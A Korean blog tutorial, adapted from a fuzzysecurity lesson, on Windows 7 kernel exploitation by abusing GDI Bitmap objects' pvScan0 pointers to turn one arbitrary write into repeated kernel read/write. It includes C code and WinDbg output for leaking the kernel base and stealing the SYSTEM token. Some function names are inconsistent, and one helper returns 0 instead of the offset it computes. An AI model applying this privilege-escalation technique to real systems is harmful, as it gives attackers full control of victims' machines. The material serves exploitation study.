[Kernel Exploitation] GDI Bitmap Abuse



출처: https://www.fuzzysecurity.com/tutorials.html


본 포스팅은 fuzzysecurity Tutorials part 17 -> GDI Bitmap Abuse를 분석 및 의역하여 작성하였습니다. 

Sample Windows Driver code에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.



Step 1. 취약점 분석

해당 취약점은 Arbitrary Overwrite가 한 번 가능할 때 Bitmap 객체를 이용한 취약점입니다.

 

간략히 설명하면 Bitmap 객체를 이용해서 한번의 Write-What-Where 취약점을 그 후에도 무한적으로 이용할 수 있게 세팅하는 것입니다.

 

CreateBitmap() API는 Bitmap 객체를 생성하는 함수입니다.

HBITMAP CreateBitmap(
	_In_ int nWidth,
	_In_ int nHeight,
	_In_ UINT cPlanes,
	_In_ UINT cBitsPerPel,
	_In_ const VOID *lpvBits
);

 

해당 객체의 주소를 얻으려면 PEB의 GdiSharedHandleTable 값을 이용해야 합니다.

GdiSharedHandleTable값은 Bitmap handle이 생성되었을 때 부모 process에 생기는 정보입니다.

 

SURFACE OBJECT address = GdiSharedHandleTable + (handle & 0xffff) * (64bit: 0x18, 32bit: 0x10)

 

GdiSharedHandleTable의 일정한 계산을 통해서 Bitmap 객체의 주소를 알 수 있습니다.

kd> dt _PEB 7ffde000
ntdll!_PEB
...
+ 0x088 NumberOfHeaps : 0xb
+ 0x08c MaximumNumberOfHeaps : 0x10
+ 0x090 ProcessHeaps : 0x77947500 -> 0x00280000 Void
+ 0x094 GdiSharedHandleTable : 0x001f0000 Void
+ 0x098 ProcessStarterHelper : (null)
+0x09c GdiDCAttributeList : 0x14
+ 0x0a0 LoaderLock : 0x77947340 _RTL_CRITICAL_SECTION
...

 

Bitmap 객체를 생성하게 되면 아래와 같은 SURFACE OBJECT가 만들어집니다. 그리고 SURFACE OBJECT는 BASEOBJECT 구조체와 SURF OBJECT를 가지고 있고 SURF OBJECT 내부에서 pvScan0는 객체가 가진 Pixel Data를 가리키게 됩니다.

 

 

 

 

정리하자면 아래와 같은 구조체를 가지게 됩니다. 가장 중요한 것은 pvScan0입니다. pvScan0가 가리키는 주소를 바꿔 취약점을 악용합니다.

typedef struct {
	BASEOBJECT64 BaseObject; // 0x18bytes
	SURFOBJ64 SurfObj;
	.......
} SURFACE64

typedef struct {
	ULONG64 hHmgr; // 8bytes
	ULONG32 ulShareCount; // 4bytes
	WORD cExclusiveLock; // 2bytes
	WORD BaseFlags; // 2bytes
	ULONG64 Tid; // 8bytes
} BASEOBJECT64

typedef struct {
	ULONG64 dhsurf; // 8bytes
	ULONG64 hsurf; // 8bytes
	ULONG64 dhpdev; // 8bytes
	ULONG64 hdev; // 8bytes
	SIZEL sizlBitmap; // 8bytes
	ULONG64 cjBits; // 8bytes
	ULONG64 pvBits; // 8bytes
	ULONG64 pvScan0; // 8bytes
	ULONG32 lDelta; // 4bytes
	ULONG32 iUniq; // 4bytes
	ULONG32 iBitmapFormat; // 4bytes
	USHORT iType; // 2bytes
	USHORT fjBitmap; // 2bytes
} SURFOBJ64

 

 

Bitmap 객체 2개(hManager, hWorker)를 선언합니다. hManager의 pvScan0를 hWorker의 pvScan0 주소값으로 설정합니다.이 때 한번의 Arbitrary Overwrite가 가능해야 합니다.그렇다면 hManager로 SetBitmapBits()을 호출해 data를 세팅한다면 hWorker의 pvScan0가 바뀌게 됩니다.

 

또 설정된 hWorker의 pvScan0으로 특정 memory의 값을 GetBitmapBits()와 SetBitmapBits()를 이용해서 값을 변조시킬 수 있습니다.

 

 

 

Step 2. Exploit

특정 값을 변조시킬수 있게 세팅을 하면 남은 것은  system process의 Token을 가져와 현재 process Token에 넣는 것입니다.

 

먼저 Kernel Module의 주소를 구해야 합니다. 현재 진행하는 Windows 7 32bit환경에서는 kernel에 대한 module이 ntkrnlpa.exe입니다.

 

그리고 Kernel land에서의 PsInitialSystemInformation을 구해야 합니다.


PsInitialSystemProcess는 system process에 대한 EPROCESS 구조체 주소를 담고있는 전역변수입니다. 따라서 Kernel land에서의 주소를 구하면 system process의 EPROCESS를 구할 수 있습니다.

PEPROCESS PsInitialSystemProcess;

 

NtSystemQueryInformation을 이용해 Kernel Base를 구하고 LoadLibrary를 통해서 userland에서의 PsInitialSystemInformation까지의 offset을 구합니다. 

ULONG KernelModuleBase() {
	HMODULE hNT = NULL;
	NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = NULL;
	PSYSTEM_MODULE_INFORMATION pSystem_Module_Information = NULL;
	LONG Size = 0;
	PUCHAR ModuleName = NULL;
	PVOID KernelBase = NULL;
	ULONG UserEPROCESS = 0, offset = 0, hUser = 0;
	hNT = LoadLibrary("ntdll.dll");

	NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNT, "NtQuerySystemInformation");
	if (!NtQuerySystemInformation) {
		Error((PUCHAR)"NtQuerySystemInformation", (DWORD)GetLastError());
	}
	NtQuerySystemInformation(SystemModuleInformation, NULL, 0, (PULONG)&Size);

	pSystem_Module_Information = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size);

	NtQuerySystemInformation(SystemModuleInformation, pSystem_Module_Information, Size, (PULONG)&Size);

	ModuleName = (PUCHAR)strrchr(pSystem_Module_Information->Module.ImageName, '\\') + 1;
	KernelBase = pSystem_Module_Information->Module.Base;

	hUser = (ULONG)LoadLibrary((LPCSTR)ModuleName);

	UserEPROCESS = (ULONG)GetProcAddress((HMODULE)hUser, "PsInitialSystemProcess");

	offset = UserEPROCESS - hUser;

	return 0;
}

 

구한 offset을 가지고 Kernel land에서의 PsInitialSystemInformation을 구합니다.

아래는 Module과 해당 변수 주소를 구한 것입니다.

  

 

 

System process를 찾아 EPROCESS의 구조체 주소를 살펴보면 0x84ce28e8 입니다.

kd > !process 0 0 system
 PROCESS 84ce28e8 SessionId : none Cid : 0004 Peb : 00000000 ParentCid : 0000
 DirBase : 00185000 ObjectTable : 89e01b28 HandleCount : 528.
 Image : System


해당 변수 주소에 EPROCESS가 있는 것을 확인할 수 있습니다.

  

 

 

현재 돌아가고 있는 process의 EPROCESS는 ActiveProcessLinks의 ENTRY를 타면 됩니다.

kd> dt _EPROCESS UniqueProcessId ActiveProcessLinks
 +0x0b4 UniqueProcessId : Ptr32 Void
 +0x0b8 ActiveProcessLinks : _LIST_ENTRY


EPROCESS를 찾으면 해당 process의 token 주소를 계산해 GetBitmapBits(), SetBitmapBits()로 system process token으로 덮으면 됩니다.

 

 

ULONG systemEPROCESS = GetSystemPs();
ULONG processEPROCESS = GetprocessPs();
ULONG Token = 0;

Read(SystemEPROCESS + TokenOffset, &token, sizeof(ULONG));
Write(processEPROCESS + TokenOffset, &token, sizeof(ULONG));

 

'System > Windows' 카테고리의 다른 글

[Kernel] Kernel Pool Attack  (0) 2017.09.08
[Kernel] Allocate Kernel Memory Free  (0) 2017.09.06
[Kernel Exploitation] Pool Overflow  (0) 2017.08.31
[Kernel Exploitation] Use After Free  (0) 2017.08.29
[Kernel Exploitation] Integer Overflow  (0) 2017.08.27

이 글을 공유하기

댓글